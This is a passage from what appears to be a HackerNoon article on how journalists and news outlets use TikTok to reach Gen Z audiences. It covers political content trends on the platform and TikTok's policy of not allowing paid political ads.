uh, maybe fruit juice is better here — “or some good stories because we’re a newspaper and we just want to help make it better.” Jorgenson added: “In general, a good TikTok video is one you want to keep watching…If they are reluctantly liking us, that’s the greatest compliment you can get. What makes TikTok so great is you can say, ‘I’ve never thought of that [meme], but I’m still going to try to do my own version of it.’” , “[N]ews organizations’ success on TikTok will depend on our effort to understand the audience populating that platform.” He believes “2020 will be the year more publishers play around with lipsync and filters. But I hope we’ll also spend more time asking Gen Zers what they really want from us. I’ll definitely try my best.” According to Zaffarano Journalists, reporters, and media outlets have been exploring ways to make the news more appealing to GenZ, even when it comes to political and international news, while building a large, loyal audience. In particular, “TikTok has been flooded with political content in recent weeks,” as Georgia Wells and Emily Glazer wrote in the Wall Street Journal . in early January Wells and Glazer explained: “Videos tagged #Trump2020 were viewed more than 200 million times in the last three weeks of 2019, according to the app’s tally. Posts about Democratic candidate Bernie Sanders are also popular, but on a smaller scale. Videos tagged #Bernie2020 received about 24 million views over the same period.” And the thirst for political and international news seems so high that “[A]dvisers from both major parties now say they are looking at ways to use the app as a platform for reaching young voters,” according to Wells and Glazer. Why is this important? In a recent , Los Angeles-based marketing and insights firm Zebra IQ included TikTok among the most favorite apps for GenZ, an extremely appetizing market estimated at around 2.4 billion young people worldwide (aged 9–24 year old), about 32% of the world population, and with a $44 billion spending power. report detailing Gen Z ‘s online habits and interests “It’s not easy to build and maintain a brand strategy on TikTok, but it’s worth it,” Zebra IQ Tiffany Zhong cautions in a recent tweet. “Brands should explore building a TikTok account — not saying it’s for everyone, but you will have first mover advantage since not many brands are on TikTok yet,” she was quoted as saying in a by Matt Schlicht. “You just need to understand the vibe and culture of TikTok really well if you want to produce content on there, since TikTok is unlike any other platform.” Medium article Embracing the platform hasn’t been easy. For brands as well as for the news industry. Especially when it comes to politics, since, for example, the platform does not allow paid political ads. “The decision to allow paid ads into the community experience is one we treat carefully,” writes Blake Chandlee, TikTok Vice President of Global Business Solutions, in a press release last year. “We’re in the early days of introducing and experimenting with different ad formats, and we’re exploring a variety of opportunities for brand partners.” Chandlee explains that “While we explore ways to provide value to brands, we’re intent on always staying true to why users uniquely love the TikTok platform itself: for the app’s light-hearted and irreverent feeling that makes it such a fun place to spend time.” “In that spirit, we have chosen not to allow political ads on TikTok,” he says. “Any paid ads that come into the community need to fit the standards for our platform, and the nature of paid political ads is not something we believe fits the TikTok platform experience. To that end, we will not allow paid ads that promote or oppose a candidate, current leader, political party or group, or issue at the federal, state, or local level — including election-related ads, advocacy ads, or issue ads.” Ivan Mehta on The Next Web: “Interestingly, the app already had for India before this year’s assembly elections.” He points out that this new announcement “is related to the US and Europe region.” explains a similar policy It is unclear how this decision will affect whether politicians and world leaders will eventually join TikTok. So far very few are on it! But, as mentioned before, more and more political content has popped up on TikTok, including reporters trying to change the way we — or rather GenZ — consumes the news. Especially in the US, and both in terms of presidential election coverage and the impeachment trial. Also interesting is the way journalists are reporting about international and foreign affairs news. The way the news is reported on TikTok, it seems, revolves around engagement. Journalists are more interested in starting an open conversation around political and international topics, including for example the coronavirus, and let users on TikTok react or digest the quick videos. [ ] Full video TikTok is certainly a more entertaining way of looking at the news, without however lowering the quality of the news or the impact news have on our daily lives, whether its about the elections in the US or Brexit in Europe. And attracting the attention of users and entertaining them with viral videos is yet one of the biggest challenges.

Stories, News & Mentions about LEANDATA

Leandata’s Stories on HackerNoon